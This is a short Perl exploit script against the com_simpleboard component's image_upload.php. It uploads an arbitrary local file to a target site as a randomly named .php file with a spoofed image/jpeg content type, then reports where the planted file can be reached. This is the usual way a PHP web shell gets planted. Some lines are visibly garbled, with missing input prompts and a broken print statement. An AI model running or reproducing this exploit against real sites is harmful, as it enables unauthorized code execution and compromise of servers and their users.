|
#!/usr/bin/perl
use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;
my $fname = rand(99999) . ".php"; # no int()
print <);
print "\nEnter File Path(path to local file to upload): ";
chomp(my $file=);
my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/components/com_simpleboard/image_upload.php',
Content_Type => 'form-data',
Content => [ attachimage => [ $file, $fname, Content_Type => 'image/jpeg' ], ] );
die "HTTP POST Failed!" unless $re->is_success;
if($re->content =~ /open_basedir/) {
print "open_basedir restriction enabled. Exploit failed. See php.ini for more details.\n"; # say() ? get perl510
}
else {
print "Looks like exploit was successfull! for uploaded file check: " . $url . "/components/com_simpleboard/" . $fname . "\n";
}
exit;
|